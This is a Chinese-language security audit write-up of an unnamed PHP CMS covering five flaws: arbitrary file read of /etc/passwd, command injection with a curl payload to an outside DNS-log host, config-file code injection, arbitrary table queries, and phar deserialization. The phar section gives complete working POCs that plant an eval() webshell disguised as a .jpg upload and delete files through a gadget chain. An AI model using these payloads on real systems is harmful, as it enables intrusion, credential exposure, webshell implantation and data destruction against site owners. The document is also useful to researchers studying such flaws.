VUL1-文件读取漏洞

这个函数功能是读取pdf显示到网页,但是没有对文件名和路径进行限制,造成任意文件读取

例如,读取index.php文件

file=index.php

注意到这段代码限制了只能在当前路径下读取文件

$files = $this->str_replace_once('/','',$files);//替换开头的/

显然这种过滤似乎难不倒任何人

file=//etc/passwd

不过在实战中发现open_basedir限制了目录️

VUL2-命令注入漏洞

这个函数使用 LibreOffice 的命令行工具来执行一个PPT转换成PDF,然后显示到页面上

没有对file参数进行验证就直接插入命令里面执行,可以使用管道符进行命令拼接执行
payload:

file=||curl 9tkhrb.dnslog.cn||

VUL3-后台代码注入漏洞

漏洞点在保存网站设置的功能上,它会将设置的内容以序列化的形式写入到config/wzsz.php当中

设置的内容是保存在PHP文件,可以直接插入php代码

保存设置后,访问config/wzsz.php即可执行

VUL4-任意数据查询漏洞

漏洞点位于home控制器的cxxsjg函数,接收参数bm(表名)和id进行查询并返回结果到页面

表名和id是可控的,可以任意传入表名进行查询,前提是包含字段id
例如,查询users表

id=1&bm=users


成功查询到用户信息

VUL5-文件上传结合phar反序列化漏洞

什么是phar?

在 PHP 中,Phar(PHP Archive)是一种将多个 PHP 文件、资源和其他文件打包成一个单独的可执行文件的格式。Phar 文件类似于 Java 的 JAR 文件或 Python 的 Egg 文件。

POC1

FileCookieJar链任意文件写入,入口点

save函数写入了文件

文件名可控,文件内容就是cookie通过json加密后的字符
观察setCookie函数发现参数是SetCookie类

SetCookie的构造函数传入数组

使用array_replace函数替换默认数组字段

$this->data = array_replace(self::$defaults, $data);

也就意味着cookie的字段名只能为defaults中的字段名

构造的cookie如下

new SetCookie([
        'Name' => 'foo',
        'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
        'Value'  => 'bar',
        'Expires' => time()]);

接着通过FileCookieJar类去将cookie写入文件即可

<?php
  require 'vendor/autoload.php';
  use GuzzleHttp\Cookie\FileCookieJar;
  use GuzzleHttp\Cookie\SetCookie;
  $obj = new FileCookieJar('111.php');
  $obj->setCookie(new SetCookie([
      'Name' => 'foo',
      'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
      'Value'  => 'bar',
      'Expires' => time()]));
  var_dump(serialize($obj));
?>

运行之后也是成功写入了文件111.php

最后打包生成phar

<?php
require 'vendor/autoload.php';
  use GuzzleHttp\Cookie\FileCookieJar;
  use GuzzleHttp\Cookie\SetCookie;
  $obj = new FileCookieJar('111.php');
  $obj->setCookie(new SetCookie([
      'Name' => 'foo',
      'Domain' => '<?php echo eval($_REQUEST[\'111a\']); ?>',
      'Value'  => 'bar',
      'Expires' => time()]));
  var_dump(serialize($obj));

  $phar = new Phar('phar.phar');
  $phar -> startBuffering();
  $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
  $phar ->addFromString('test.txt','test');
  $phar -> setMetadata($obj); 
  $phar -> stopBuffering();
  rename('phar.phar','phar.jpg');
?>

CMS也是自带一个ueditor,刚好用于上传文件

然后通过前面的任意文件读取漏洞去触发phar反序列化

成功写入一句话木马

POC2

XMLWriter链任意文件删除

XMLWriter类的销毁函数使用了unlink进行删除文件,条件是PHP_OS != 'WINNT'即目标系统不能是windows
POC如下:

<?php
    namespace PhpOffice\Common;
    class XMLWriter {
         public function __construct(){
            $this->tempFileName="111.php";
         }
    }
    $obj = new XMLWriter();
    $phar = new \Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
    $phar ->addFromString('test.txt','test');
    $phar -> setMetadata($obj); 
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

上传文件,触发phar反序列化

可以发现POC1中的111.php成功被删除